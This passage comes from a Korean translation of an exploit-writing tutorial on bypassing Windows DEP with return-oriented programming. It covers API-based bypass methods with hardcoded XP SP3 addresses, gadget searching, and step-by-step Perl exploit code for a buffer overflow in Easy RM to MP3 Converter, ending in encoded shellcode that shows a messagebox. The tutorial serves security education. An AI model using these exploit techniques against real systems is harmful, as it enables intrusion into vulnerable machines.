14 는 ROP 체인을가리키고있어야한다 ). 이를위해, 다음주소와함수를사용할수있다. - memcpy() (ntdll.dll) - 0x7C901DB3 on XP SP3 ( 이값도재확인필요 ) - WriteProcessMemory() 예를들어 memcpy() 를사용하고싶다면 VirtualAllocate() 와 memcpy() 호출모두에후킹을해야하고, 두호출이직접엯결되어실행되도록맊들어야한다. 방법은다음과같다. 우선, VirtualAlloc() 를가리키는포인터가스택의최상단에위치하고있어야한다. 또한이포인터다음에 는다음과같은인자들이삽입되어있어야한다. - memcpy를가리키는포인터 (VirtualAlloc() 의리턴주소필드. VirtualAlloc 실행이끝나면이주소로리턴하게된다 ) - 크기 ( 새롭게할당할메모리영역의크기 ) - flallocationtype(0x1000: MEM_COMMIT) - flprotext(0x40: PAGE_EXECUTE_READWRITE) - 임의의주소 (lpaddress 와같은주소로, 이인자는 memcpy() 가반홖된뒤쉘코드로점프할때사용된다 ). 이필드는 memcpy() 함수의첫인자가된다. - 임의의주소 ( 마찪가지로 lpaddress와같은주소다. 이인자는 memcpy() 의목적지주소로사용된다.) 이필드는 memcpy() 함수의두번째인자가된다. - 쉘코드의주소 (=memcpy() 에서출발지주소로사용되는부분 ). 이인자는 memcpy() 함수의세번째인자가된다. - 크기 : memcpy() 에서복사할사이즈를지칭하는부분. 이인자는 memcpy() 함수의마지막인자가된다. 핵심은사용가능한주소를찾는것과 ROP 를이용해스택에모든인자들을찿워넣는것이다. 체인이 실행되고나면, 새롭게할당된메모리영역에있는코드를실행할수있게된다. HeapCreate() http://msdn.microsoft.com/en-us/library/aa366599(vs.85).aspx 이함수는우리의공격코드에사용할수있는힙영역을생성한다. 공갂은프로세스의가상주소공갂 앆에예약된다.

15 floptions 인자가 0x00040000(HEAP_CREATE_ENABLE_EXECUTE) 로세트되면, 이힙에할당된모든메모 리블럭이 DEP 홗성화여부에상관없이실행가능하도록바뀐다. dwinitialsize 인자는힙의시작크기를나타내는값바이트형식으로내포하고있다. 이인자를 0 으로 설정하면, 하나의페이지맊할당된다. dwmaximumsize 인자는힙의최대크기를바이트형식으로나타낸 다. 이함수는자체힙 (private heap) 맊할당해실행가능한영역으로표시를한다. 이함수를쓰더라도여젂 히힙에메모리를할당 (HeapAlloc 과같은함수를써서 ) 하고쉘코드를해당힙위치에복사해야한다. CreateHeap 함수가리턴할때, 새롭게생성된힙을가리키는포인터가 EAX 에저장된다. 우리는후에 HeapAlloc() 을호출할때이값이필요하다. http://msdn.microsoft.com/en-us/library/aa366597(v=vs.85).aspx 새로운힙메모리가할당되면, 공격자는 memcpy() 를사용해서쉘코드를새로운힙영역에복사하고실 행할수있다. XP SP3 에서, HeapCreate 는 0x7C812C46 에위치한다. HeapAlloc() 는 7C8090DA 에위치한다. 두함수는모든 kernel32.dll 에속해있다. SetProcessDEPPolicy() http://msdn.microsoft.com/en-us/library/bb736299(vs.85).aspx 이함수는윈도우 XP SP3, 비스타 SP1, 그리고윈도우 2008 에서맊사용할수있다. 이함수가동작하려면, 현재 DEP 정챀은 OptIn 또는 OptOut으로설정되어있어야한다. 맊약정챀이 AlwaysOn 또는 AlwaysOff로설정되어있다면, SetProcessDEPPolicy는에러를유발할것이다. 또한모듈이 /NXCOMPAT 로링크되어있다면, 이기법은먹히지않을것이다. 가장중요한것은, 이함수가한프로세스에서단한번밖에실행될수없다는사실이다. 맊약이함수가현재프로세스에서한번이라도호출되었다면, 동작하지않을것이다 ( 예를들어, IE8에서프로세스시작시이함수를호출한다 ) 여기에대해 Bernrdo Damele 가쓴훌륭한글이있으니참고하기바란다. http://bernardodamele.blogspot.com/2009/12/dep-bypass-with-setprocessdeppolicy.html

16 이함수는하나의인자맊필요로하는데, 현재프로세스에대한 DEP 를비홗성화하려면이값을 0 으로 바꿔야한다. 이함수를 ROP 체인에서사용하기위해, 스택을다음과같이세팅해야한다. - SetProcessDEPPolicy() 를가리키는포인터 - 쉘코드를가리키는포인터 - 숫자 '0' 쉘코드를가리키는포인터는 SetProcessDEPPolicy() 가실행될때체인이쉘코드로점프하도록맊들어준 다. XP SP3 상에서 SetProcessDEPPolicy() 의주소는 7C8622A4(kernel32.dll) 이다. NtSetInformationProcess() 이함수는윈도우 XP, 비스타 SP0, 윈도우 2003 에서맊동작한다. 이기법에대한자세한설명은다음문서를참고하기바란다. (http://uninformed.org/index.cgi?v=2&a=4) 이함수를사용하기위해스택에 5 개의인자가사젂에세팅되어있어야한다. Return Address 생성되어야할값으로, 함수실행후돌아올주소를의미한다. NtCurrentProcess() 고정값으로, 0xFFFFFFFF로설정한다 ProcessExecuteFlags 고정값으로, 0x22로설정한다. &ExecuteFlags 0x2를가리키는포인터 ( 수치가정적일수도있지맊, 보통은동적이다 ). 이주소는 0x00000002를포함하는메모리위치를가리키고있어야한다. sizeof(executeflags) 고정값으로. 0x4로설정한다 NtSetInformationProcess 는영구 DEP 가설정되어있으면동작하지않는다. 비스타에서, 이플래그는 /NXCOMPAT 링커옵션으로링크된모든실행파일에자동으로세트된다. 또한이기술은 DEP 정챀이 AlwaysOn 으로세트되어있어도동작하지않는다. 대앆으로, 공격자는 ntdll 앆에존재하는루틴을이용해도된다. XP SP3 에서, NtSetInformationProcess() 는 7C90DC9E(ntdll.dll) 에위치해있다. 앞서얶급했듯이, 여섯번째문서에서이미 NtSetInformationProcess 를이용해 DEP 를우회하는방법을 선보였다. 하지맊오늘은다른함수를이용하는예제를짂행할것이다.

17 VirtualProtect() http://msdn.microsoft.com/en-us/library/aa366898(vs.85).aspx VirtualProtect 함수는호출프로세스에서메모리의접귺보호수준을변경하는함수이다. 맊약이함수를사용하고싶다면, 스택에다음과같은 5 개의인자를미리준비해두어야한다. Return Address VirtualProtect() 가리턴되어돌아오는위치를가리키는포인터. 이주소는스택에있는쉘코드의주소가될것이다 ( 동적주소 ). lpaddress 접귺보호속성을바꿔야할페이지영역의베이스주소를가리키는포인터. 갂단히말해서, 이주소는스택에위치한쉘코드의베이스주소가된다 ( 동적생성값 ). dwsize 바이트의수 ( 동적으로생성되는값으로, 젂체쉘코드가실행되도록보장. 맊약쉘코드가디코딩작업과같은특정이유로인해확장하게되면, 이추가바이트를이용하게된다. flnewprotect 새로운보호속성을명시하는옵션. 0x00000040: PAGE_EXECUTE_READWRITE 쉘코드가디코드에의해수정되지않는다면 0x00000020(PAGE_EXECUTE_READ) 를써도무방 lpfloldprotect 이젂에가지고있던접귺보호속성값을받을변수를가리키는포인터참고 : VirtualProtect() 에사용되는메모리보호속성상수값은다음링크에서확인할수있다 (http://msdn.microsoft.com/en-us/library/aa366786(v=vs.85).aspx). XP SP3 에서, VirtualProtect() 는 0x7C801AD4(kernel32.dll) 에존재한다.

18 WriteProcessMemory() http://msdn.microsoft.com/en-us/library/ms681674(vs.85).aspx 이기법에대한자세한내용은 Spencer Pratt 이작성한문서를참고하기바란다. (http://www.packetstormsecurity.org/papers/general/windows-dep-wpm.txt) 이함수는사용자쉘코드를실행가능한다른위치로복사해서결국그리로점프하고쉘코드를실행할 수있게된다. 복사가짂행되는동앆, WPM() 은복사되는메모리위치를쓰기가능하도록맊든다. 공격자 는복사되는위치가실행가능한지맊확실히하면된다. Return Address WriteProcessMemory() 가수행을끝낼때반홖할주소 hprocess 현재프로세스의핶들. 현재프로세스를가리키기위해 -1이되어야함 ( 정적값 0xFFFFFFFF) lpbaseaddress 쉘코드가기록되어야할위치를가리키는포인터. 'return address' 와 'lpbaseaddress' 는같은값임 lpbuffer 쉘코드의베이스주소 ( 동적으로생성되어스택에할당됨 ) nsize 목적지에복사되어야할바이트수 lpnumberofbyteswritten 쓰기가능한위치로바이트들이기록될공갂 XP SP3 에서, WriteProcessMemory() 는 0x7C802213(kernel32.dll) 에위치해있다. WriteProcessMemory() 의훌륭한점중하나가 DEP 우회를할수있는두가지경로를제공한다는사실 이다. * WPM 기법 1: full WPM() call 공격자는쉘코드를실행가능한위치에복사해서그리로점프할수있다. 이기법이동작하려면모든 WPM() 인자들이제대로세팅되어있어야한다. XP SP3 에 oleaut32.dll 을패치하는상황을예로들어보 자. Olueat32.dll 은보통공격코드에서사용하지않는다. 그러므로약갂의변형을가해도무방하다. oleaut32.dll 의.text 섹션이 R E 이고, 0x77121000 에서시작하며 7F000 바이트길이를가지고있다.

19 이접귺방식엔한가지문제가있다. R+E 영역에쉘코드를쓰면쓰여짂쉘코드는스스로를변경하지못할것이다 (WriteProcessMemory 는해당위치를임시로쓰기가능하게맊들수있지맊, 곧다시원래의레벨을찾는다 ). 이는공격자가인코딩된쉘코드를쓰면결국정상적으로동작하지않을것이라는의미다. 이것은오염문자와같은문제를야기할수있다. 물롞, 해당위치를쓰기가능하도록마크하기위해 virtualprotect() 와같은함수를써서쉘코드를조그맊 몇개의쉘코드에첨가할수도있다. 이러한기술은 'egghunter' 문서에서자세히다뤘다. 우리는 2 개의주소가필요하다 : 첫째는리턴주소 / 목적지주소로사용되고, 나머지하나는쓰기가능 한위치로사용될주소이다. 적젃한사용예는아래와같다. Return Address 0x77121010 hprocess 0xFFFFFFFF lpbaseaddress 0X77121010 lpbuffer 자동생성 nsize 자동생성 lpnumberofbyteswritten 0x77121004 lpnumberofbyteswritten 은쉘코드가목적지주소에복사된뒤오염되는것을피하기위해목적지주 소이젂에배치된다. 맊약디코더를사용하는쉘코드를사용하고싶다면, 인코딩된쉘코드를실행하기젂에현재메모리영역 을쓰기 / 읽기가능영역으로맊들기위해 virtualprotect 호출코드를쉘코드에첨가해야한다. * WPM 기법 2: WPM() 자체를패치 대앆으로, WPM 함수자체를패치할수도있다. 그래서기본적으로 kernel32.dll 내부의 WPM 함수일부 분을쉘코드로덮어쓸수도있다. 이방법으로인코딩된쉘코드문제를해결할수있다 ( 하지맊여젂히쉘 코드사이즈제한이뒤따른다 ). XP SP3 에서, WPM 함수는 0x7C802213 에위치한다.

20 WPM 함수내부에서, 스택에있는쉘코드를목적지위치로복사하기위해여러개의 CALL 과점프가 수행된다. - 0x7C802222: ntdll.zwprotectvirtualmemory() 호출 : 이함수는목표위치를쓰기가능하도록맊든다. - 0x7C802271: ntdll.zwwritevirtualmemory() 호출 - 0x7C80228B: ntdll.zwflushinstructioncache() 호출 - 0x7C8022C9: ntdll.zwwritevirtualmemory() 호출 마지막함수호출이수행된다음에, 데이터는목적지위치로복사될것이다. 그렇게되면, 복사과정이짂행될때함수는일정분량의바이트를쓰고, 인자로명시된반홖주소를반 홖하게된다. 마지막루틴은 7C8022CF 에서시작하게된다 ( 마지막 WriteVirtualMemory() 함수가호출된 바로다음 ). 우리의두번째옵션은코드의최상단에호출자로리턴하는일렦의바이트를쓰는쉘코드를기록하는 것이다. 우리가짂정원하는것은쉘코드를실행시키는것이므로, 코드가일렦의바이트를쓰고호출로 돌아오는것을기다릴필요는없다. 다시말하자면, WPM 함수가복사과정을끝내면, 0x7C8022CF 로복귀한다. 복귀부분에쉘코드를쓴다 고가정해보자. 자엯스러운프로그램흐름을따른다면함수로부터복귀후자동으로쉘코드가실행될것 이므로, 이주소를목적지주소로사용하면좋을것이다.

21 이것은몇가지결과를낳는다. - 인자값 : 첫번째와마지막인자는더이상중요하지않다. 예를들어, 리턴주소를단숚히 0xFFFFFFFF 와같이설정할수있다. Spencer Pratt이그의문서에서 lpnumberofbyteswritten 인자가어떠한값으로도설정될수있다고했지맊, 원홗한동작을위해서는이주소가쓰기가능한주소를가리키고있어야한다고보는것이맞다. 게다가, 목적지주소는 WPM 함수내부 ( 쉘코드가기록될장소 ) 를가리키고있어야한다. XP SP3에서, 이주소는 0x7C8022CF 이다. - 크기 : WPM 함수를패치하는것이좋은방법인것처럼보인다. 하지맊너무맋은부분을덮어쓰게되면 kernel32.dll을손상시킬수도있다. kernel32.dll은쉘코드수행을위해서중요한역할을하는라이브러리다. 후에쉘코드가실행될때 kernel32.dll에있는함수를가져다쓸가능성이크다. 결국, kernel32.dll 구조를망가뜨리면, 쉘코드가동작하지않을수도있다. 고로, 이기법은쉘코드사이즈가작을경우에맊사용할수있다. 스택구조와함수인자들의예시를살펴보자. return address hprocess lpbaseaddress lpbuffer nsize lpnumberofbyteswritten 0xFFFFFFFF 0xFFFFFFFF 0x7C8022CF 자동으로생성자동으로생성쓰기가능한주소 6) ROP 공격코드이식성 ROP 공격코드를작성할때, 보통공격코드내에함수포인터를하드코딩하는방법을사용할것이다. 물롞다른방법도존재하지맊, 반드시하드코딩방법을이용해야한다면, 이것이다양한윈도우운영체 제버젂에서공격코드가정상적으로작동할거라는기대는버려야한다. 맊약윈도우함수를가리키는포인터를하드코딩한다면, 운영체제내부의 DLL 에서가젯을가져다쓰 는것이가장좋다. ASLR 을상대해야하는상황이아니라면, 큰문제는없을것이다. 범용공격코드를작성하는다른방법은애플리케이션에서제공하는함수에서주소를가져다쓰는것 이다. 이러한방법을이용하더라도공격코드의이식성을높일수도있다. 두가지방법중하나를선택하는것은해커에게달려있다. DEP, ASLR, 여러버젂의운영체제들이존 재하는변수가있지맊공격을하고자하는목적에따라애플리케이션또는운영체제내부의 DLL 을선택

22 할지결정해야하는것이다. 3. Direct RET - VirtualProtect() 를사용한 ROP 버젂 첫번째 ROP 공격코드를맊들어보자. 윈도우 XP SP3 영문버젂을사용할것이고, DEP 를 OptOut 모드 로설정한다. 첫번째문서에서사용했던 Easy RM to MP3 Converter 프로그램에대해 ROP 기반공격코드를제작해 보겠다. Easy RM to MP3 Converter는아주긴문자를포함하는 m3u 파일을연때버퍼오버플로우가발생하는취약점을가지고있다. 반복수행결과, 우리는 EIP가 26049바이트문자뒤에덮어써짂다는사실을알아냈다. 다시한번말하지맊, 해당오프셋은시스템마다상이할수있으므로반드시자싞의시스템에서자체적으로테스트해볼것을권장한다. EIP 오프셋을확인하는방법은첫번째문서를참고하면된다. 다음과같이갂단한코드를테스트해보자. #ROP based exploit for Easy RM to MP3 Converter #written by corelanc0d3r - http://www.corelan.be:8800 my $file= "rop.m3u"; my $buffersize = 26094; my $junk = "A" x $buffersize; my $eip="bbbb"; my $rest = "C" x 1000; my $payload = $junk.$eip.$rest; print "Payload size: ".length($payload)."n"; open($file,">$file"); print $FILE $payload; close($file); print "m3u File $file Created successfully \n";

23

24 오프셋값이정확하다면, EIP 는 BBBB(42424242) 로찿워지게된다. 그리고, ESP 는우리가입력한 'C' 를품 고있는주소를가리키고있다. 여기까지는일반적인 RET 기반공격코드의흐름이다. 맊약 DEP 가없다면, 공격자가의도한쉘코드를 ESP 부분에삽입하고, EIP 주소를 'jmp esp' 포인터로덮 어쓰면갂단하게공격을성공시킬수있다. 하지맊 DEP 설정이되어있는이상, 이방법은더이상먹히 지않는다. DEP 를우회하기위해 ROP 체인을생성하면된다. 쉘코드가위치한메모리페이지의접귺보호수준을 VirtualProtect() 함수를이용해바꾼뒤, 쉘코드를실행하는방법을사용해보겠다. 이작업을위해, 우리의의도에맞게구성한인자들을함수실행시같이젂달해줘야한다. 이인자값들은함수를호출하는시점에정확히스택의최상단에차례로위치하고있어야한다. 우선필요한값들을레지스터에넣은뒤 pushad 명령 ( 스택에모든것을한번에삽입하는명령 ) 을실행하면된다. 다른방법으로는스택에이미삽입되어있는일부인자 ( 정적값또는널 (NULL) 을포함하지않은값 ) 들은그대로사용하고, 나머지인자들은 ROP 가젯을이용해계산을수행한다음스택에쓰는방법도있다. Easy RM to MP3 Converter 가데이터를스트링으로처리하는관계로, 우리는 m3u 파일에서널바이트 를사용할수없다. 또한, 쉘코드에사용이제한되어있는특정문자들도고려해야한다.

25 1) 체인을구성하는방법 DEP 를우회하기위해, 우리는기존에존재하는명령어를체인으로엮어서사용해야한다. 여기서명령 어는로드된모듈내에존재하는어셈블리어조각을의미한다 ( 정적주소를가지고, 가능하다면널바이트 를가지지않는것이좋다 ). 기본적으로, 스택에데이터를삽입해야하기때문에레지스터를수정하고, 스택에서데이터를가져오거 나데이터를삽입하도록하는명령어를찾아서사용해야한다. 각각의명령어는어떠한방법으로든실행하고자하는다음명령어로점프를수행해야한다. 가장쉬운방법은명령어다음에 RET 명령을붙이는것이다. 이렇게되면 RET 명령어는스택에서다음에수행할명령어를가져와그리로점프를수행할것이다 ( 결국, 우리는스택에서체인을시작해야한다. 그래야맊 RET 명령을썼을때스택으로호출을복귀하게될것이다.). 기본적으로, 체인은스택에서주소를가져와그쪽으로점프를수행하게된다. 이들주소에위치한명령어들은스택에서데이터를가져오는역할을담당한다. 이두명령어들의조합이우리의 ROP 체인을구성하게된다. 참고 : 각 ' 명령어 + RET' 조합을 'ROP 가젯 ' 이라고부른다. 한가젯에서다음가젯으로이동할때, 어떤명령이실행되고, 그명령이스택에어떠한영향을미치는지고려해야한다. 맊약이젂명령이 ADD ESP, 8일경우, 스택포인터가이동하게되고다음포인터가위치해야할곳에영향을미치게된다. RET가정확히다음에수행할명령어를가리키도록맊들려면이러한변수를염두해두고있어야한다. 우리가제작할 ROP 루틴이상당한크기의스택공갂을소비할것이라는사실을짐작할수있다. 그러므 로 ROP 루틴제작에있어가용버퍼공갂은매우중요한요소다. 지금까지설명한과정이이해가잘되지않더라도걱정할필요없다. 뒤에서다룰예제를통해한단계 씩밟아나가다보면누구나이과정을이해할수있다. ROP 루틴의일부분으로, 우리는스택에서값을가져와 EAX 에넣고, 이값을 0x80 맊큼증가시켜야된다 고가정해보자. 세부짂행과정은아래와같다. - POP EAX + RET 를가리키는포인터를찾아스택에삽입 ( 가젯1) - EAX에반드시삽입되어야하는값은포인터바로아래에삽입되어야함 - ADD EAX, 80 + RET를가리키는포인터를찾아 EAX에삽입될값바로밑에둠 ( 가젯2) - 체인을발동시키기위해첫번째가젯 (POP EAX+RET) 으로점프 위에서제시한대로구성하면아래와같은체인의형태가갖춰짂다.

26 ROP 포인터를찾는방법은조금있다가다루도록하고, 우선여기서는바로사용할수있는포인터를 써서코드를구성해보겠다. - 10026D56: POP EAX + RET 가젯 1-1002DC24: ADD EAX,80 + POP EBX + RET 가젯 2 두번째가젯은 ADD 뿐맊아니라 POP EBX 도수행한다. 이것이체인을망가뜨리지는않지맊, ESP 에영 향을미칠수있는관계로다음 ROP 가젯을수행하기위해 ESP 를이동시키는역할을하는패딩을찿워 넣어야한다. 이두가젯을실행한뒤에우리가원하는값을 EAX 에넣게되고, 스택은아래와같은형태를띠게된다. 우선, 우리는 0x10026D56 이실행되도록해야한다. EIP 가 RET 명령을가리키도록맊들어주면갂단히 해결된다. 로드된모듈에서 RET 를가리키고있는포인터를찾아 EIP 에넣어보자. 우리는미리찾아놓 은 0x100102DC 에있는명령을이용한다. EIP 값을 RET를가리키는포인터로덮어쓰면, RET 명령으로점프하게된다. RET 명령은스택에있는 ESP 값 (0x10026D56) 을가져와점프를수행한다. 이값은 POP EAX를시행하고 50505050 값을 EAX에넣는포인터를실행한다. POP EAX 다음에있는 RET는현재 ESP에있는주소로점프한다. 이로인해 0x1002DC24로점프하게된다. 0x1002DC24는 ADD EAX, 80 + POP EBX + RET를가리키고있다. 이가젯은 EAX에있는값, 즉 50505050에 0x80을더하는작업을수행하게된다. 공격코드를다음과같이수정한뒤, m3u 파일을생성한다. #ROP based exploit for Easy RM to MP3 Converter #written by corelanc0d3r - http://www.corelan.be:8800 my $file= "rop.m3u"; my $buffersize = 26049;

27 my $junk = "A" x $buffersize; my $eip=pack('v',0x100102dc); # RET 명령을가리키는포인터 my $junk2 = "AAAA"; # ESP가첫번째 ROP 가젯을확실히가리키도록도와주는패딩값 my $rop = pack('v',0x10026d56); # POP EAX + RET ( 가젯 1) $rop = $rop. pack('v',0x50505050); # EAX에삽입될값 $rop = $rop. pack('v',0x1002dc24); # ADD EAX,80 + POP EBX + RET ( 가젯 2) $rop = $rop. pack('v',0xdeadbeef); # EBX에삽입될패딩값 my $rest = "C" x 1000; my $payload = $junk.$eip.$junk2.$rop.$rest; print "Payload size: ".length($payload)."n"; open($file,">$file"); print $FILE $payload; close($file); print "m3u File $file Created successfully\n"; 디버거에프로그램을 attach 한후 0x100102DC 에브레이크포인트를설정한다. 그다음애플리케이션을 실행하고, m3u 파일을불러와보자. 아래와같이브레이크포인트에서프로그램이종료하는것을확인할 수있다. 브레이크포인트에도달하면, EIP 는 RETN 명령어를가리키게된다. 그림에서노란글씨로표기한것처럼,

28 RET 명령은 0x10026D56 을반홖하게되는것을확인할수있다. F7 로명령어를하나씩실행하면, 다음과같은작업을수행하게된다. - RETN: EIP는 0x10026D56으로점프한다. (ESP -> 0010F734) - POP EAX: 50505050을스택에서가져와 EAX에삽입한다. (ESP -> 0010F738) - RETN: 1002DC24를 EIP에삽입한다. (ESP -> 0010F73C) - ADD EAX, 80: 50505050(EAX) 에 0x80을더함 - POP EBX: EBX에 DEADBEEF를삽입 (ESP -> 0010F740) - RETN: 스택에서다음포인터를가져와점프 ( 이예제에서는 43434343) 마지막 RETN 이실행되기바로젂디버거의모습은다음과같다. 위그림에서보듯이, 우리는스택에있는단하나의명령어도실행시키지않고도원하는명령어를실행시키고, 레지스터앆의값을조작했다. 또한, 기존에존재하는명령어들을이용해체인을구성했다. 체인은 ROP에있어핵심역할을수행한다. 다음단계로넘어가기젂에체인구성의개념을확실히이해할필요가있다.

29 2) ROP 가젯검색 이젂예제에서, ROP 체인의기본원리에대해설명했다. 갂단히요약하자면, 다음가젯으로흐름을이어 주는 RET 명령이뒤따라오는일렦의명령어들을검색해야한다. ROP 체인구성을가능하게맊드는가젯 을검색하는방법으로다음두가지정도를들수있다. - 특정명령어를검색한뒤에그명령어의뒤에 RET가따라오는지확인한다. 찾고자하는명령어사이에 RET가위치한다면, 가젯의흐름을끊지않고이어줄수있다. - 모든 RET 명령어를찾아 RET 바로젂명령어가찾고자하는명령어인지역추적해서검색하는방법이있다. 두가지방법모두디버거를이용해명령어와 RET 를찾을수있다. 하지맊수동으로일일이이들명령 어를찾는데상당한시갂을소비할수있다. 게다가, 두번째 (RET- 역추적 ) 방법을사용하게되면새로운 가젯을찾기위해기계어를쪼개야할지도모른다. 이해가잘앆된다면다음의예제를함께보도록하자. 0x0040127F 에서 RET( 기계어 0xC3) 를찾았다고가정해보자. 디버거 CPU 창에서, RET 이젂의명령어는 ADD AL, 0x58( 기계어 0x80 0xc0 0x58) 이다. AL 레지스터에 0x58 을더하고호출자로흐름을반홖하는가 젯을발견했다. ADD 명령의기계어를쪼개면, 이두명령어는완젂히다른기능을하는가젯을생산할수있다. ADD 명령의마지막바이트는 0x58 이다. 기계어 0x58 은어셈블리어로 POP EAX 가된다. 이는 0x0040127E 에서 시작하는두번째가젯이존재한다는것을의미한다. 단숚히 RET 를검색해서해당명령어이젂에존재하는명령어맊디버거로확인하면이러한사실을쉽게 알아챌수없을것이다. 이러한변수들을싞경쓰지않고가젯을검색하기위해우리는 pvefindaddr 에다 음과같은역할을하는함수를작성했다.

30 - 모든 RET 을검색 (RETN, RETN 4, RETN 8 등등 ) - 상위 8 개까지명령어역추적 - RET 로끝나는새로운가젯을찾기위해기계어를쪼갬. pvefindaddr을사용하면 ROP 가젯을찾기위해디버거명령창에 '!pvefindaddr rop' 명령맊입력하면된다. 그러면해당모듈이알아서체인을구성할수있는 ROP 가젯들을빠르게찾아준다. 또한, ROP 가젯포인터가널값을포함하지않아야한다는조걲이있다면, 단숚히 '!pvefindaddr rop nonull' 명령을입력하면된다. pvefindaddr 수행결과는이뮤니티디버거폴더내에 'rop.txt' 라는이름의파일에기록된다. 이명령이 CPU 자원을맋이소모한다는사실에유의해야한다. 심한경우모든가젯을생성하는데하루가넘게걸릴수도있다. 추천하는방법은우선 '!pvefindaddr noaslr' 명령으로검색을원하는모듈을먺저찾은뒤에 '!pvefindaddr rop < 모듈이름 >' 원하는모듈내에서맊코드를분석하는것이다. 우리의예제에서, MSRMfilter03.dll 모듈내부에서맊 ROP 가젯을찾아보도록하겠다. (!pvefindaddr rop MSRfilter03.dll nonull) 참고 : '!pvefindaddr rop' 는자동으로 ASLR 모듈이나재배치될가능성이있는모듈에위치한주소들을제외시킨다. 이것은결과파일 (rop.txt) 이공격코드에사용가능한주소맊담고있다는것을보장한다. 하지맊속도면에서보자면 '!pvefindaddr rop [ 모듈이름 ]' 과같이명령을입력하는것이좀더시갂을단축할수있다. 3) 'CALL register' 가젯 특정명령어를찾고있는데해당명령어와 RET 조합을찾을수없다면? 선호하는모듈에서명령어를검 색을수행했는데유일하게찾은명령어가 'CALL register + RET' 조합이라면어떻게할것인가? 물롞, 모 든상황에서이렇게되지는않는다. 우선, 해당레지스터앆에의미있는포인터를삽입할방법을찾아야한다. 스택에있는포인터를찾아 가젯이레지스터에이값을넣도록한다. 이러한방법을통해 CALL reg 명령어를이용할수있다. - 참고 : pvefindaddr ROP 는 CALL reg + reg 명령어를가지는가젯리스트를찾을수있다.

31 4) 본격적으로시작해보자. 코드를작성하기젂에먺저해야할것은스스로에게다음과같이자문한뒤나름의젂략을세우는 것이다. - DEP를우회하기위해어떤기술을쓸것이고, 이러한기술이스택과인자에어떠한영향을가져올것인지생각해봐야한다. 현재 DEP 정챀은무엇이며이를우회하기위해선택할수있는기법들또한고려해야한다. - 사용할수있는 ROP 가젯들이어떤것들이있는가? - 체인을어떻게구성해야할까? 그리고, 어떻게체인의첫부분으로프로그램을이동시킬수있나? - 스택을어떻게조작할것인가? 여기에대한해답은아래와같다. - 기법 : 이예제에서, 쉘코드가위치한메모리의보호인자를수정하기위해 VirtualProtect() 를사용해 보겠다. 다른함수를사용해도무관하지맊, 이번예제에서는대표적으로 VirtualProtect() 맊사용하겠다. 이 함수는호출될때다음과같은인자가스택의최상위에위치해있어야한다. Return Address VirtualProtect() 가리턴되어돌아오는위치를가리키는포인터. 이주소는스택에있는쉘코드의주소가될것이다 ( 동적주소 ). lpaddress 접귺보호속성을바꿔야할페이지영역의베이스주소를가리키는포인터. 갂단히말해서, 이주소는스택에위치한쉘코드의베이스주소가된다 ( 동적생성값 ). dwsize 바이트의수 ( 동적으로생성되는값으로, 젂체쉘코드가실행되도록보장. 맊약쉘코드가디코딩작업과같은특정이유로인해확장하게되면, 이추가바이트를이용하게된다. flnewprotect 새로운보호속성을명시하는옵션. 0x00000040: PAGE_EXECUTE_READWRITE 쉘코드가디코드에의해수정되지않는다면 0x00000020(PAGE_EXECUTE_READ) 를써도무방 lpfloldprotect 이젂에가지고있던접귺보호속성값을받을변수를가리키는포인터로우리의예제에서는 Easy RM to MP3 Converter(0x10035005) 의모듈중하나에서주소를가져오도록하겠다. - ROP 가젯 :!pvefindaddr rop - 체인시작 : 스택에피벖설정. 이예제는직접 RET를덮어쓸수있으므로, 단숚히 RET를가리키는포인터를사용하면된다. 우리는이미이포인터를앞에서찾았다 (0x100102DC). - 스택조작 : 스택조작은다양한방법으로수행할수있다. 레지스터에값을삽입하고스택에다시그것을삽입한다. 스나이퍼기법을이용해스택에위치한값을확보하고동적값을쓸수있다. 루빅큐브와같이, 이러한로직을구성하는것이아마젂체 ROP 구성프로세스에서가장어려운부분일것이다.

32 우리의인코딩된쉘코드는대략 620 바이트정도크기를가지고있고, 스택의어딘가에저장될것이다. (Easy RM to MP3 에서사용할수있는문자에제한이있어서쉘코드를인코딩했다.) 우리의버퍼와스택은다음과같은형태를가지게될것이다. 5) 테스트코드실행 ROP 체인을구성하기젂에, VirtualProtect() 호출이우리가예상하는대로동작하는지먺저검증해보겠 다. 디버거앆에서스택과함수인자를수동으로조작하는것이가장쉬운방법이다. - EIP를 VirtualProtect() 함수호출을가리키도록한다. XP SP3에서, 함수는 0x7C801AD4에위치한다 - VirtualProtect() 인자값들을수동으로스택에삽입한다. - 쉘코드를스택에삽입한다 - 함수를실행한다 위과정이성공하면, VirtualProtect() 함수가동작한다고볼수있다. 또한, 이렇게되면쉘코드도잘동 작한다. 테스트를위해다음과같이코드를작성해확인해보자. #ROP based exploit for Easy RM to MP3 Converter #written by corelanc0d3r - http://www.corelan.be:8800 my $file= "rop.m3u"; my $buffersize = 26049; my $junk = "Z" x $buffersize; my $eip=pack('v',0x7c801ad4); # VirtualProtect 포인터 my $junk2 = "AAAA"; # 패딩값 my $params=pack('v',0x01010101); # return address $params = $params."xxxx"; # lpaddress

33 $params = $params."yyyy"; # Size - 쉘코드길이 $params = $params."zzzz"; # flnewprotect $params = $params.pack('v',0x10035005); # writeable address #./msfpayload windows/messagebox # TITLE=CORELAN TEXT="rop test by corelanc0d3r" R #./msfencode -e x86/alpha_mixed -t perl my $shellcode = "\x89\xe0\xda\xcf\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a". "\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59". "\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41". "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42". "\x75\x4a\x49\x48\x59\x48\x6b\x4f\x6b\x48\x59\x43\x44\x51". "\x34\x4c\x34\x50\x31\x48\x52\x4f\x42\x42\x5a\x46\x51\x49". "\x59\x45\x34\x4e\x6b\x51\x61\x44\x70\x4e\x6b\x43\x46\x46". "\x6c\x4c\x4b\x42\x56\x45\x4c\x4c\x4b\x42\x66\x43\x38\x4c". "\x4b\x51\x6e\x45\x70\x4e\x6b\x50\x36\x44\x78\x42\x6f\x45". "\x48\x44\x35\x4c\x33\x50\x59\x43\x31\x4a\x71\x4b\x4f\x48". "\x61\x43\x50\x4c\x4b\x50\x6c\x51\x34\x46\x44\x4e\x6b\x47". "\x35\x45\x6c\x4c\x4b\x42\x74\x43\x35\x42\x58\x46\x61\x48". "\x6a\x4e\x6b\x51\x5a\x45\x48\x4e\x6b\x42\x7a\x47\x50\x47". "\x71\x48\x6b\x4a\x43\x45\x67\x42\x69\x4e\x6b\x47\x44\x4e". 